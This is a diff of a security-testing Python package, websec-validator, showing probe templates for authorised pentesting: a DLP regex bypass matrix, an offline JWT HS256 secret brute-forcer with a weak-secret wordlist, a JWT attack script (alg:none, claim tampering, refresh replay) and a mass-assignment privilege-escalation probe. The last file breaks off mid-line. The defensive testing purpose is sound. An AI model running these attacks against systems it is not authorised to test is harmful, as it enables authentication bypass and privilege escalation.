websec-validator 0.2.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (50) hide show
  1. websec_validator/__init__.py +14 -0
  2. websec_validator/briefing.py +218 -0
  3. websec_validator/calibration.json +75 -0
  4. websec_validator/calibration.py +226 -0
  5. websec_validator/cli.py +395 -0
  6. websec_validator/constitution.py +81 -0
  7. websec_validator/corpus.json +49 -0
  8. websec_validator/dynamic.py +249 -0
  9. websec_validator/extractors/__init__.py +56 -0
  10. websec_validator/extractors/auth.py +77 -0
  11. websec_validator/extractors/authz.py +130 -0
  12. websec_validator/extractors/base.py +101 -0
  13. websec_validator/extractors/client_exposure.py +48 -0
  14. websec_validator/extractors/graphql.py +71 -0
  15. websec_validator/extractors/iac_ci.py +65 -0
  16. websec_validator/extractors/integrations.py +55 -0
  17. websec_validator/extractors/routes.py +215 -0
  18. websec_validator/extractors/schemas.py +75 -0
  19. websec_validator/extractors/stack.py +80 -0
  20. websec_validator/extractors/surface.py +86 -0
  21. websec_validator/extractors/tenant.py +33 -0
  22. websec_validator/findings.py +199 -0
  23. websec_validator/probes.py +79 -0
  24. websec_validator/proof.py +96 -0
  25. websec_validator/recon.py +28 -0
  26. websec_validator/report.py +114 -0
  27. websec_validator/scanners.py +248 -0
  28. websec_validator/templates/probes/bola-cross-tenant.sh +192 -0
  29. websec_validator/templates/probes/bola-write-verbs.py +147 -0
  30. websec_validator/templates/probes/compare-roles.sh +69 -0
  31. websec_validator/templates/probes/dlp-bypass-offline.py +149 -0
  32. websec_validator/templates/probes/hs256-brute-force.py +90 -0
  33. websec_validator/templates/probes/jwt-attacks.sh +161 -0
  34. websec_validator/templates/probes/mass-assignment.py +201 -0
  35. websec_validator/templates/probes/race-conditions.py +144 -0
  36. websec_validator/templates/probes/rate-limit-burst.sh +136 -0
  37. websec_validator/templates/probes/s3-assess.sh +120 -0
  38. websec_validator/templates/probes/ssrf-probes.sh +189 -0
  39. websec_validator/templates/probes/webhook-forgery.py +113 -0
  40. websec_validator/templates/reports/FINDINGS-SUMMARY.md.template +75 -0
  41. websec_validator/templates/reports/access-control-matrix.md.template +65 -0
  42. websec_validator/templates/reports/findings-triage.md.template +28 -0
  43. websec_validator/templates/reports/pentest-handover-brief.md.template +121 -0
  44. websec_validator/templates/reports/per-tool-FINDINGS.md.template +37 -0
  45. websec_validator-0.2.0.dist-info/METADATA +232 -0
  46. websec_validator-0.2.0.dist-info/RECORD +50 -0
  47. websec_validator-0.2.0.dist-info/WHEEL +5 -0
  48. websec_validator-0.2.0.dist-info/entry_points.txt +2 -0
  49. websec_validator-0.2.0.dist-info/licenses/LICENSE +21 -0
  50. websec_validator-0.2.0.dist-info/top_level.txt +1 -0
@@ -0,0 +1,149 @@
1
+ #!/usr/bin/env python3
2
+ """
3
+ DLP bypass corpus — OFFLINE regex analysis.
4
+
5
+ Pulls the live DLP rules from the API, then tests each rule's regex
6
+ against an encoding corpus (the same payload encoded different ways).
7
+ If the regex DOES NOT match an encoded variant, that variant is a bypass.
8
+
9
+ No messages are sent. No network calls beyond fetching the rule list.
10
+
11
+ Output: per-rule per-encoding match/bypass table.
12
+
13
+ PRECONDITION: your project has a DLP / content-filtering feature with rules
14
+ the admin can list via API. If not, this script is N/A.
15
+ """
16
+ import base64, json, re, subprocess, sys, urllib.parse
17
+ from pathlib import Path
18
+
19
+ ROOT = Path(__file__).resolve().parents[2].parent
20
+ ENV = {}
21
+ for line in (ROOT / 'security/zap/.env').read_text().splitlines():
22
+ if '=' in line and not line.lstrip().startswith('#'):
23
+ k, v = line.split('=', 1); ENV[k.strip()] = v.strip()
24
+
25
+ TARGET = ENV['ZAP_TARGET']
26
+ # TODO: adjust login response shape if needed.
27
+ ADMIN_TOK_RESP = subprocess.run(['curl','-fsS','-X','POST',f"{TARGET}/api/auth/login",
28
+ '-H','Content-Type: application/json',
29
+ '-d',json.dumps({'email':ENV['ZAP_ADMIN_USER'],'password':ENV['ZAP_ADMIN_PASS']})],
30
+ capture_output=True, text=True).stdout
31
+ ADMIN_TOK = json.loads(ADMIN_TOK_RESP)['tokens']['accessToken']
32
+
33
+ # PROJECT-SPECIFIC START
34
+ # TODO: adjust the DLP-rules endpoint and the rule schema. Common shapes:
35
+ # GET /api/dlp/rules -> [{id, name, pattern, action, scope}]
36
+ # GET /api/policies -> [{id, regex, action}]
37
+ RULES_ENDPOINT = "/api/dlp/rules"
38
+ # PROJECT-SPECIFIC END
39
+
40
+ rules_raw = subprocess.run(['curl','-fsS',f"{TARGET}{RULES_ENDPOINT}",
41
+ '-H',f"Authorization: Bearer {ADMIN_TOK}"],
42
+ capture_output=True, text=True).stdout
43
+ all_rules = json.loads(rules_raw)
44
+
45
+ # Filter to content (regex) rules, skipping any media/file-type-prefix rules
46
+ content_rules = [r for r in all_rules if not r.get('pattern','').startswith('MEDIA_TYPE:')]
47
+ print(f"=== {len(content_rules)} content-pattern DLP rules loaded ===")
48
+ for r in content_rules:
49
+ print(f" - {r.get('id','?'):50s} action={r.get('action','?')} scope={r.get('scope','?')}")
50
+
51
+ # Sensitive payloads — fake but format-correct
52
+ PAYLOADS = {
53
+ 'amex_card': '3782 822463 10005', # American Express test number
54
+ 'visa_card': '4111-1111-1111-1111', # Visa test number
55
+ 'ssn': '123-45-6789',
56
+ 'email': 'victim@example.com',
57
+ 'phone': '+1 (212) 555-1234',
58
+ }
59
+
60
+ def encodings(text):
61
+ """Generate same payload in different encodings/obfuscations"""
62
+ return {
63
+ 'plain': text,
64
+ 'base64': base64.b64encode(text.encode()).decode(),
65
+ 'base64_padded': 'data:text/plain;base64,' + base64.b64encode(text.encode()).decode(),
66
+ 'hex': text.encode().hex(),
67
+ 'url_encoded': urllib.parse.quote(text),
68
+ 'url_double_encoded': urllib.parse.quote(urllib.parse.quote(text)),
69
+ 'zero_width_split': text[:2] + '​' + text[2:], # zero-width space
70
+ 'rtl_override': '‮' + text,
71
+ 'spacing_split': ' '.join(text),
72
+ 'rot13': text.translate(str.maketrans(
73
+ 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',
74
+ 'NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm')),
75
+ 'html_entity_digit': re.sub(r'(\d)', lambda m: f"&#{ord(m.group(1))};", text),
76
+ 'leet': text.replace('1','l').replace('0','O').replace('4','A'),
77
+ 'json_unicode_escape': ''.join(f'\\u{ord(c):04x}' if c.isdigit() else c for c in text),
78
+ 'mixed_case_keyword': text.upper(),
79
+ 'comment_inline': text.replace(' ', '/*x*/'),
80
+ }
81
+
82
+ print()
83
+ print("=== Bypass matrix: rule x payload x encoding -> matches? ===")
84
+ print()
85
+
86
+ findings = []
87
+
88
+ for rule in content_rules:
89
+ pat = rule.get('pattern', '')
90
+ name = rule.get('name', '?')
91
+ rid = rule.get('id', '?')
92
+ print(f"\n--- {name} ({rid}) ---")
93
+ print(f" pattern: {pat[:80]}{'...' if len(pat) > 80 else ''}")
94
+ try:
95
+ regex = re.compile(pat, re.IGNORECASE)
96
+ except re.error as e:
97
+ print(f" !! rule pattern invalid: {e}")
98
+ continue
99
+
100
+ relevant_payloads = []
101
+ if 'amex' in rid: relevant_payloads.append('amex_card')
102
+ if 'visa' in rid or 'mc' in rid: relevant_payloads.append('visa_card')
103
+ if 'ssn' in rid.lower() or 'social' in name.lower(): relevant_payloads.append('ssn')
104
+ if 'email' in rid.lower(): relevant_payloads.append('email')
105
+ if 'phone' in rid.lower(): relevant_payloads.append('phone')
106
+
107
+ if not relevant_payloads:
108
+ print(f" (no matching test payload -- skip)")
109
+ continue
110
+
111
+ for pname in relevant_payloads:
112
+ payload = PAYLOADS[pname]
113
+ print(f" test payload: {pname} ({payload!r})")
114
+ for ename, encoded in encodings(payload).items():
115
+ matched = bool(regex.search(encoded))
116
+ mark = 'OK BLOCK' if matched else '!! BYPASS'
117
+ if ename == 'plain' and not matched:
118
+ mark = 'XX MISCONFIGURED (regex does not match plain text)'
119
+ line = f" [{mark:35s}] {ename:25s} -> {encoded[:60]}"
120
+ print(line)
121
+ findings.append({
122
+ 'rule_id': rid,
123
+ 'rule_name': name,
124
+ 'payload': pname,
125
+ 'encoding': ename,
126
+ 'matched': matched,
127
+ 'sample': encoded[:80],
128
+ })
129
+
130
+ out = ROOT / 'security/pentest-prep/reports/dlp-bypass/findings.json'
131
+ out.parent.mkdir(parents=True, exist_ok=True)
132
+ out.write_text(json.dumps(findings, indent=2))
133
+
134
+ bypasses = [f for f in findings if not f['matched'] and f['encoding'] != 'plain']
135
+ plain_misses = [f for f in findings if not f['matched'] and f['encoding'] == 'plain']
136
+ print()
137
+ print(f"=== Summary ===")
138
+ print(f" Total tests: {len(findings)}")
139
+ print(f" Bypasses found: {len(bypasses)}")
140
+ print(f" Misconfigured rules:{len(plain_misses)} (regex doesnt match its own intended payload)")
141
+ print(f" Saved: {out}")
142
+
143
+ if bypasses:
144
+ print()
145
+ print(f"=== Bypass details ===")
146
+ for b in bypasses[:20]:
147
+ print(f" [{b['rule_id']:50s}] {b['encoding']:25s} {b['payload']} -> bypass")
148
+
149
+ sys.exit(0)
@@ -0,0 +1,90 @@
1
+ #!/usr/bin/env python3
2
+ """
3
+ HS256 JWT secret brute-force probe.
4
+
5
+ Tries a wordlist of common weak secrets against a captured JWT. If any
6
+ candidate verifies the signature, we have the secret -> can forge any
7
+ token -> critical finding.
8
+
9
+ This is OFFLINE — no server requests. Run safely against any token.
10
+
11
+ Usage: python3 hs256-brute-force.py <jwt_token>
12
+ """
13
+ import sys, hmac, hashlib, base64
14
+
15
+ if len(sys.argv) != 2:
16
+ print("Usage: hs256-brute-force.py <jwt_token>", file=sys.stderr)
17
+ sys.exit(2)
18
+
19
+ token = sys.argv[1].strip()
20
+ try:
21
+ h_b64, p_b64, s_b64 = token.split('.')
22
+ except ValueError:
23
+ print("Token isn't a 3-part JWT", file=sys.stderr)
24
+ sys.exit(2)
25
+
26
+ def b64url_pad(s):
27
+ return s + '=' * (-len(s) % 4)
28
+
29
+ signed = (h_b64 + '.' + p_b64).encode()
30
+ expected_sig = base64.urlsafe_b64decode(b64url_pad(s_b64))
31
+
32
+ # Wordlist: common weak JWT secrets seen in the wild.
33
+ # Real bug bounties: "secret", "your-256-bit-secret" (the JWT.io default!),
34
+ # "jwt-secret", common framework defaults, project-name guesses.
35
+ # TODO: Add project-name candidates: variations of <PROJECT_NAME>, the company
36
+ # name, internal team names, any nickname you've seen in docs. Attackers will.
37
+ CANDIDATES = [
38
+ # JWT.io default (used by tutorials, sometimes makes it to production)
39
+ "your-256-bit-secret",
40
+ # NextAuth + Auth.js defaults
41
+ "your-secret-key", "your-secret",
42
+ # Express + jsonwebtoken tutorials
43
+ "secret", "jwt-secret", "jwtsecret", "JWT_SECRET",
44
+ "supersecret", "supersecretkey",
45
+ # Common dev placeholders
46
+ "changeme", "changeit", "changethis", "CHANGEME",
47
+ "password", "Password1!", "admin", "admin123",
48
+ "test", "test123", "testing",
49
+ "dev", "development", "local",
50
+ "default", "default-secret",
51
+ # PROJECT-SPECIFIC START
52
+ # TODO: project-name and company-name guesses go here.
53
+ # "<project-name>", "<project-slug>", "<company-name>",
54
+ # PROJECT-SPECIFIC END
55
+ # Common framework env defaults
56
+ "your-secret-jwt-key", "secretkey",
57
+ # Length-32 placeholders
58
+ "0123456789abcdef0123456789abcdef",
59
+ "abcdefghijklmnopqrstuvwxyz123456",
60
+ # Empty/null secrets (sometimes accepted)
61
+ "",
62
+ "null", "undefined",
63
+ # Common from leaked-secret datasets
64
+ "123456", "12345678", "qwerty",
65
+ ]
66
+
67
+ print(f"=== HS256 brute force test ===")
68
+ print(f" Token header.payload length: {len(h_b64) + 1 + len(p_b64)} bytes")
69
+ print(f" Trying {len(CANDIDATES)} candidate secrets (offline, no requests)...")
70
+ print()
71
+
72
+ found = None
73
+ for cand in CANDIDATES:
74
+ computed = hmac.new(cand.encode(), signed, hashlib.sha256).digest()
75
+ if hmac.compare_digest(computed, expected_sig):
76
+ found = cand
77
+ break
78
+
79
+ if found is not None:
80
+ print(f" !! CRITICAL: signing secret cracked!")
81
+ print(f" Secret value: {'<EMPTY STRING>' if not found else repr(found)}")
82
+ print(f" Implication: any attacker can forge JWTs for any user/role.")
83
+ print(f" Action: ROTATE the JWT signing secret IMMEDIATELY.")
84
+ sys.exit(1)
85
+ else:
86
+ print(f" OK -- none of {len(CANDIDATES)} weak-secret candidates work.")
87
+ print(f" This does NOT prove the secret is strong -- only that it's not in")
88
+ print(f" this short wordlist. For a real engagement, use hashcat mode 16500")
89
+ print(f" against rockyou.txt or larger lists.")
90
+ sys.exit(0)
@@ -0,0 +1,161 @@
1
+ #!/usr/bin/env bash
2
+ #
3
+ # jwt-attacks.sh — manual JWT attack probe.
4
+ #
5
+ # Six classic JWT attacks pentest teams run:
6
+ #
7
+ # 1. alg:none — sign with no algorithm. If the backend accepts it, total auth bypass.
8
+ # 2. HS256 with garbage secret — tamper claims and resign with a wrong key.
9
+ # 3. Expired token — exp in the past, expect 401.
10
+ # 4. Stripped signature — empty sig segment.
11
+ # 5. Garbage token — non-JWT string.
12
+ # 6. Refresh-after-logout — logout, then try the still-cached refresh token.
13
+ #
14
+ # Usage:
15
+ # 1. In .env, set ZAP_AGENT_USER / ZAP_AGENT_PASS.
16
+ # 2. ./jwt-attacks.sh
17
+ # 3. Output: one PASS/FAIL per attack; nonzero exit on FAIL.
18
+ #
19
+ # Requires: bash, curl, jq, python3.
20
+ set -euo pipefail
21
+ cd "$(dirname "$0")"
22
+
23
+ [[ -f .env ]] || { echo "No .env found" >&2; exit 1; }
24
+
25
+ read_env() {
26
+ local key="$1"
27
+ python3 -c "
28
+ for l in open('.env'):
29
+ l = l.rstrip('\n')
30
+ if l.startswith('#') or '=' not in l: continue
31
+ k, v = l.split('=', 1)
32
+ if k.strip() == '$key':
33
+ print(v); break
34
+ "
35
+ }
36
+
37
+ TARGET="$(read_env ZAP_TARGET)"
38
+ USER="$(read_env ZAP_AGENT_USER)"
39
+ PASS="$(read_env ZAP_AGENT_PASS)"
40
+
41
+ [[ -n "$TARGET" && -n "$USER" && -n "$PASS" ]] || {
42
+ echo "ERROR: ZAP_TARGET / ZAP_AGENT_USER / ZAP_AGENT_PASS required in .env" >&2; exit 2
43
+ }
44
+
45
+ # TODO: adjust login / refresh / me / logout paths to your API.
46
+ echo "==> mint legit token..."
47
+ LOGIN_RESP=$(curl -fsS -X POST "$TARGET/api/auth/login" \
48
+ -H 'Content-Type: application/json' \
49
+ -d "$(jq -nc --arg e "$USER" --arg p "$PASS" '{email:$e,password:$p}')")
50
+
51
+ ACCESS_TOKEN=$(echo "$LOGIN_RESP" | jq -r '.tokens.accessToken')
52
+ REFRESH_TOKEN=$(echo "$LOGIN_RESP" | jq -r '.tokens.refreshToken')
53
+
54
+ [[ -n "$ACCESS_TOKEN" && "$ACCESS_TOKEN" != "null" ]] || { echo "login failed" >&2; exit 3; }
55
+
56
+ b64url() {
57
+ python3 -c "import sys, base64; sys.stdout.write(base64.urlsafe_b64encode(sys.stdin.buffer.read()).decode().rstrip('='))"
58
+ }
59
+
60
+ IFS='.' read -r H P S <<< "$ACCESS_TOKEN"
61
+
62
+ # A protected endpoint that requires a real session. Adjust to your API.
63
+ TEST_URL="$TARGET/api/auth/me"
64
+
65
+ PASS_COUNT=0
66
+ FAIL_COUNT=0
67
+ FAIL_LINES=()
68
+
69
+ check() {
70
+ local label="$1" expected_code="$2" actual="$3"
71
+ if [[ "$actual" == "$expected_code" ]]; then
72
+ printf ' %-4s %-30s expected:%s actual:%s\n' PASS "$label" "$expected_code" "$actual"
73
+ PASS_COUNT=$((PASS_COUNT+1))
74
+ else
75
+ printf ' %-4s %-30s expected:%s actual:%s\n' FAIL "$label" "$expected_code" "$actual"
76
+ FAIL_COUNT=$((FAIL_COUNT+1))
77
+ FAIL_LINES+=("$label expected $expected_code got $actual")
78
+ fi
79
+ }
80
+
81
+ # === Sanity: legit token works ===
82
+ code=$(curl -s -o /dev/null -w '%{http_code}' "$TEST_URL" -H "Authorization: Bearer $ACCESS_TOKEN")
83
+ check "sanity (legit token)" "200" "$code"
84
+
85
+ # === Attack 1: alg:none ===
86
+ DECODED_P=$(echo "$P" | python3 -c "import sys, base64; d=sys.stdin.read(); print(base64.urlsafe_b64decode(d + '=='*(4-len(d)%4)).decode())")
87
+ NEW_H=$(echo -n '{"alg":"none","typ":"JWT"}' | b64url)
88
+ NONE_TOKEN="${NEW_H}.${P}."
89
+ code=$(curl -s -o /dev/null -w '%{http_code}' "$TEST_URL" -H "Authorization: Bearer $NONE_TOKEN")
90
+ check "alg:none bypass" "401" "$code"
91
+
92
+ # === Attack 2: HS256 with garbage secret + tampered claims ===
93
+ # TODO: adjust claim names to your token's shape (role, roles, scope, permissions, etc.)
94
+ TAMPERED_P=$(echo "$DECODED_P" | jq -c '.roleIds = ["role-platform-manager","role-developer"] | .iat = (now|floor) | .exp = ((now|floor) + 3600)')
95
+ TAMPERED_P_B64=$(echo -n "$TAMPERED_P" | b64url)
96
+ HEADER_HS256=$(echo -n '{"alg":"HS256","typ":"JWT"}' | b64url)
97
+ WRONG_SIG=$(printf '%s.%s' "$HEADER_HS256" "$TAMPERED_P_B64" \
98
+ | python3 -c "import sys, hmac, hashlib, base64; data=sys.stdin.buffer.read(); sig=hmac.new(b'wrong-secret-do-not-trust', data, hashlib.sha256).digest(); sys.stdout.write(base64.urlsafe_b64encode(sig).decode().rstrip('='))")
99
+ TAMPERED_TOKEN="${HEADER_HS256}.${TAMPERED_P_B64}.${WRONG_SIG}"
100
+ code=$(curl -s -o /dev/null -w '%{http_code}' "$TEST_URL" -H "Authorization: Bearer $TAMPERED_TOKEN")
101
+ check "claims tampered, wrong sig" "401" "$code"
102
+
103
+ # === Attack 3: expired token ===
104
+ EXPIRED_P=$(echo "$DECODED_P" | jq -c '.exp = ((now|floor) - 60) | .iat = ((now|floor) - 3600)')
105
+ EXPIRED_P_B64=$(echo -n "$EXPIRED_P" | b64url)
106
+ EXP_SIG=$(printf '%s.%s' "$H" "$EXPIRED_P_B64" \
107
+ | python3 -c "import sys, hmac, hashlib, base64; data=sys.stdin.buffer.read(); sig=hmac.new(b'will-not-match', data, hashlib.sha256).digest(); sys.stdout.write(base64.urlsafe_b64encode(sig).decode().rstrip('='))")
108
+ EXP_TOKEN="${H}.${EXPIRED_P_B64}.${EXP_SIG}"
109
+ code=$(curl -s -o /dev/null -w '%{http_code}' "$TEST_URL" -H "Authorization: Bearer $EXP_TOKEN")
110
+ check "expired exp + bad sig" "401" "$code"
111
+
112
+ # === Attack 4: stripped signature ===
113
+ NO_SIG="${H}.${P}."
114
+ code=$(curl -s -o /dev/null -w '%{http_code}' "$TEST_URL" -H "Authorization: Bearer $NO_SIG")
115
+ check "stripped signature" "401" "$code"
116
+
117
+ # === Attack 5: garbage token ===
118
+ code=$(curl -s -o /dev/null -w '%{http_code}' "$TEST_URL" -H "Authorization: Bearer not-a-jwt")
119
+ check "garbage token" "401" "$code"
120
+
121
+ # === Attack 6: refresh-token replay after logout ===
122
+ echo "==> logging out then attempting refresh replay..."
123
+ curl -fsS -X POST "$TARGET/api/auth/logout" \
124
+ -H "Authorization: Bearer $ACCESS_TOKEN" \
125
+ -H 'Content-Type: application/json' \
126
+ -d "$(jq -nc --arg r "$REFRESH_TOKEN" '{refreshToken:$r}')" \
127
+ >/dev/null 2>&1 || echo " (logout endpoint may not invalidate refresh tokens — continuing)"
128
+
129
+ if [[ -n "$REFRESH_TOKEN" && "$REFRESH_TOKEN" != "null" ]]; then
130
+ code=$(curl -s -o /dev/null -w '%{http_code}' -X POST "$TARGET/api/auth/refresh" \
131
+ -H 'Content-Type: application/json' \
132
+ -d "$(jq -nc --arg r "$REFRESH_TOKEN" '{refreshToken:$r}')")
133
+ # Acceptable outcomes:
134
+ # 401 — token was invalidated on logout (best)
135
+ # 200 — refresh tokens are stateless and replay is possible (acceptable per
136
+ # the project's auth model; document the tradeoff)
137
+ if [[ "$code" == "401" ]]; then
138
+ printf ' %-4s %-30s expected:401 actual:%s (refresh token invalidated on logout)\n' PASS "refresh-after-logout" "$code"
139
+ PASS_COUNT=$((PASS_COUNT+1))
140
+ elif [[ "$code" == "200" ]]; then
141
+ printf ' %-4s %-30s expected:401 actual:%s (refresh tokens are stateless; document tradeoff)\n' WARN "refresh-after-logout" "$code"
142
+ else
143
+ printf ' %-4s %-30s expected:401 actual:%s\n' FAIL "refresh-after-logout" "$code"
144
+ FAIL_COUNT=$((FAIL_COUNT+1))
145
+ FAIL_LINES+=("refresh-after-logout got $code")
146
+ fi
147
+ else
148
+ echo " (refresh token not present in login response — skip)"
149
+ fi
150
+
151
+ echo
152
+ echo "=== Summary ==="
153
+ echo " PASS: $PASS_COUNT"
154
+ echo " FAIL: $FAIL_COUNT"
155
+ if [[ $FAIL_COUNT -gt 0 ]]; then
156
+ echo
157
+ echo "FAILED:"
158
+ printf ' - %s\n' "${FAIL_LINES[@]}"
159
+ exit 1
160
+ fi
161
+ echo "All JWT attacks blocked — auth layer holds."
@@ -0,0 +1,201 @@
1
+ #!/usr/bin/env python3
2
+ """
3
+ Mass assignment / BOPLA (Broken Object Property Level Authorization) probe.
4
+
5
+ Tests the OWASP API #3 attack class: handler accepts user-supplied fields
6
+ that should be controlled by the server. Specifically targets:
7
+
8
+ 1. PATCH /api/users/{userId} (self-edit) — try to escalate own role/groups
9
+ 2. POST /api/admin/users (create) — try to create privileged user
10
+ 3. PUT /api/admin/users/{id} (update) — try to escalate someone via admin path
11
+ 4. PATCH /api/auth/me variants — try to add ownership / billing fields
12
+
13
+ Findings classification:
14
+ CRITICAL: extra field was applied (role/group escalation succeeded)
15
+ HIGH: extra field was accepted (200) and persisted but didn't fully escalate
16
+ PASS: extra field was stripped (200 but field ignored) OR rejected (4xx)
17
+
18
+ Usage:
19
+ python3 mass-assignment.py
20
+ (reads tokens from ../../zap/.env)
21
+ """
22
+ import json, os, subprocess, sys
23
+ from pathlib import Path
24
+
25
+ ROOT = Path(__file__).resolve().parents[2].parent # repo root
26
+ sys.path.insert(0, str(ROOT))
27
+
28
+ # Read .env (relative to the zap/ folder where the .env lives)
29
+ ENV = {}
30
+ for line in (ROOT / 'security/zap/.env').read_text().splitlines():
31
+ if '=' in line and not line.lstrip().startswith('#'):
32
+ k, v = line.split('=', 1)
33
+ ENV[k.strip()] = v.strip()
34
+
35
+ TARGET = ENV['ZAP_TARGET']
36
+
37
+ # TODO: adjust login URL and response parsing to your API.
38
+ def login(user, pwd):
39
+ r = subprocess.run(['curl', '-fsS', '-X', 'POST', f'{TARGET}/api/auth/login',
40
+ '-H', 'Content-Type: application/json',
41
+ '-d', json.dumps({'email': user, 'password': pwd})],
42
+ capture_output=True, text=True)
43
+ if r.returncode != 0:
44
+ raise RuntimeError(f"login failed for {user}: {r.stderr}")
45
+ return json.loads(r.stdout)['tokens']['accessToken']
46
+
47
+ def get_me(tok):
48
+ r = subprocess.run(['curl', '-fsS', f'{TARGET}/api/auth/me',
49
+ '-H', f'Authorization: Bearer {tok}'],
50
+ capture_output=True, text=True)
51
+ return json.loads(r.stdout).get('user', {})
52
+
53
+ print(f"=== minting tokens ===")
54
+ ADMIN_TOK = login(ENV['ZAP_ADMIN_USER'], ENV['ZAP_ADMIN_PASS'])
55
+ AGENT_TOK = login(ENV['ZAP_AGENT_USER'], ENV['ZAP_AGENT_PASS'])
56
+ AGENT_ME = get_me(AGENT_TOK)
57
+ print(f" agent: {AGENT_ME.get('email')} (id={AGENT_ME.get('id')})")
58
+ # TODO: adjust field names to your role/tenancy shape.
59
+ print(f" agent role: {AGENT_ME.get('role')} roleIds={AGENT_ME.get('roleIds')} groupIds={AGENT_ME.get('groupIds')}")
60
+
61
+ # === The dangerous extras we try to inject ===
62
+ # PROJECT-SPECIFIC START
63
+ # TODO: tailor these to your project's user-model fields. Common escalations:
64
+ # - role / roles / roleIds / scope / permissions
65
+ # - tenant / org / workspace / groupIds — "add to all tenants"
66
+ # - isAdmin / isOwner / isSuperuser / accessLevel
67
+ # - createdBy / ownedBy / billingAccount — audit-log spoofing
68
+ # - id / passwordHash — direct identity overwrite
69
+ DANGER_FIELDS = {
70
+ 'role': 'admin',
71
+ 'roleIds': ['role-platform-manager'],
72
+ 'groupIds': ['*-all-tenants-*'],
73
+ 'isAdmin': True,
74
+ 'accessLevel': 999,
75
+ 'permissions': ['*'],
76
+ 'createdBy': 'admin-user',
77
+ 'passwordHash': 'fake-hash',
78
+ 'id': 'attacker-chosen-id',
79
+ 'status': 'admin',
80
+ 'internalNotes': 'pwned',
81
+ }
82
+ # PROJECT-SPECIFIC END
83
+
84
+ findings = []
85
+
86
+ def probe(label, method, path, base_body, tok, expected_field_changes=None):
87
+ """Issue request with payload = base_body ∪ DANGER_FIELDS, then re-fetch /me to see if anything stuck."""
88
+ body = {**(base_body or {}), **DANGER_FIELDS}
89
+ r = subprocess.run(['curl', '-s', '-X', method, f'{TARGET}{path}',
90
+ '-H', f'Authorization: Bearer {tok}',
91
+ '-H', 'Content-Type: application/json',
92
+ '-d', json.dumps(body),
93
+ '-w', '\nHTTP_CODE:%{http_code}'],
94
+ capture_output=True, text=True)
95
+ out = r.stdout
96
+ code = int(out.split('HTTP_CODE:')[-1].strip()) if 'HTTP_CODE:' in out else 0
97
+ body_text = out.split('\nHTTP_CODE:')[0]
98
+
99
+ me_after = get_me(tok)
100
+
101
+ escalations = {}
102
+ for k, v in DANGER_FIELDS.items():
103
+ before = AGENT_ME.get(k)
104
+ after = me_after.get(k)
105
+ if after != before and after == v:
106
+ escalations[k] = {'before': before, 'after': after}
107
+
108
+ if escalations:
109
+ severity = 'CRITICAL'
110
+ elif code in (200, 201, 204):
111
+ severity = 'HIGH' if 'roleIds' in body_text or 'groupIds' in body_text else 'PASS'
112
+ elif code in (400, 403, 422):
113
+ severity = 'PASS'
114
+ else:
115
+ severity = 'INVESTIGATE'
116
+
117
+ findings.append({
118
+ 'label': label, 'method': method, 'path': path, 'status': code,
119
+ 'severity': severity, 'escalations_observed': escalations,
120
+ 'response_preview': body_text[:200],
121
+ })
122
+
123
+ mark = '!!' if severity == 'CRITICAL' else ('??' if severity == 'INVESTIGATE' else ('-' if severity == 'HIGH' else 'OK'))
124
+ print(f" [{mark}] [{severity}] {method} {path} -> {code}")
125
+ if escalations:
126
+ for k, change in escalations.items():
127
+ print(f" FIELD STUCK: {k} {change['before']!r} -> {change['after']!r}")
128
+
129
+ # PROJECT-SPECIFIC START
130
+ # TODO: each probe targets a real user-edit endpoint in your project. Replace
131
+ # the paths and base_body fields with the real shape your API expects.
132
+ print()
133
+ print("=== Probe 1: PATCH /api/users/{me} with extras (self-edit path) ===")
134
+ probe('self-edit-patch', 'PATCH', f"/api/users/{AGENT_ME['id']}", {'name': AGENT_ME.get('name', 'Test')}, AGENT_TOK)
135
+
136
+ print()
137
+ print("=== Probe 2: PUT /api/users/{me} with extras (self-edit alt verb) ===")
138
+ probe('self-edit-put', 'PUT', f"/api/users/{AGENT_ME['id']}", {'name': AGENT_ME.get('name', 'Test')}, AGENT_TOK)
139
+
140
+ print()
141
+ print("=== Probe 3: PATCH /api/auth/me with extras (auth-namespace self-edit) ===")
142
+ probe('auth-me-patch', 'PATCH', "/api/auth/me", {'name': AGENT_ME.get('name', 'Test')}, AGENT_TOK)
143
+
144
+ print()
145
+ print("=== Probe 4: PUT /api/users/me with extras (string 'me' resolution) ===")
146
+ probe('me-alias-put', 'PUT', "/api/users/me", {'name': AGENT_ME.get('name', 'Test')}, AGENT_TOK)
147
+
148
+ print()
149
+ print("=== Probe 5: as AGENT (no users:manage), call admin PUT — should 403 ===")
150
+ probe('admin-put-as-agent', 'PUT', f"/api/admin/users/{AGENT_ME['id']}", {'name': AGENT_ME.get('name', 'Test')}, AGENT_TOK)
151
+
152
+ print()
153
+ print("=== Probe 6: as AGENT, call admin POST create — should 403 ===")
154
+ probe('admin-create-as-agent', 'POST', "/api/admin/users", {'name': 'pwn', 'email': 'pwn@test.com', 'password': 'Pwn123!@', 'role': 'admin'}, AGENT_TOK)
155
+
156
+ print()
157
+ print("=== Probe 7: as ADMIN, PUT user with mass-assignment payload (does the schema reject extras?) ===")
158
+ admin_me = get_me(ADMIN_TOK)
159
+ probe('admin-put-agent', 'PUT', f"/api/admin/users/{AGENT_ME['id']}",
160
+ {'name': AGENT_ME.get('name', 'Test')}, ADMIN_TOK)
161
+ # PROJECT-SPECIFIC END
162
+
163
+ # Save findings
164
+ out_path = ROOT / 'security/pentest-prep/reports/mass-assignment/findings.json'
165
+ out_path.parent.mkdir(parents=True, exist_ok=True)
166
+ out_path.write_text(json.dumps(findings, indent=2))
167
+
168
+ # Summary
169
+ crit = sum(1 for f in findings if f['severity'] == 'CRITICAL')
170
+ high = sum(1 for f in findings if f['severity'] == 'HIGH')
171
+ investig = sum(1 for f in findings if f['severity'] == 'INVESTIGATE')
172
+ ok = sum(1 for f in findings if f['severity'] == 'PASS')
173
+
174
+ print()
175
+ print(f"=== Summary ===")
176
+ print(f" CRITICAL (escalation observed): {crit}")
177
+ print(f" HIGH (field accepted, suspect): {high}")
178
+ print(f" INVESTIGATE (unusual response): {investig}")
179
+ print(f" PASS (rejected or stripped): {ok}")
180
+ print(f" Detailed JSON: {out_path}")
181
+
182
+ # Cleanup: restore agent's roleIds + tenantIds if they were modified
183
+ me_after = get_me(AGENT_TOK)
184
+ needs_restore = False
185
+ for f in ['groupIds', 'roleIds']: # TODO: update to your tenancy/role field names
186
+ if me_after.get(f) != AGENT_ME.get(f):
187
